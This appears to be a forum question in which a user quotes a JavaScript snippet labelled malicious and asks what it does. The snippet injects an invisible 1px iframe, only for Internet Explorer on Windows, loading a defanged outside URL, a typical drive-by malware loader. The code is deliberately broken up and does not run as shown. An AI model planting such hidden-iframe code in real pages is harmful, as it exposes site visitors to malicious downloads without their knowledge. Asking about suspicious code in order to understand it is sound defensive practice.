I came across this piece of code on a website that labeled it as "malicious" javascript. Given my limited knowledge of javascript and the potential risks involved in trying out the code on my own site, I was hoping someone here might be able to shed some light on its functionality. Here is the code snippet:
function MakeFrame(){
element = do cument.get ElementById('yahoo_api');
if (!element){
var el = do cument.cr eateElement('if rame');
do cument.body.append Child(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'hxxp:// juyfdjhdjdgh .nl .ai /showthread.php?t=72241732'
}
}
var ua navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1)) && ua.indexOf("windows") !=- 1){
var t - setTimeout("makeFrameEx()", 1000)
}

Any insights would be greatly appreciated!
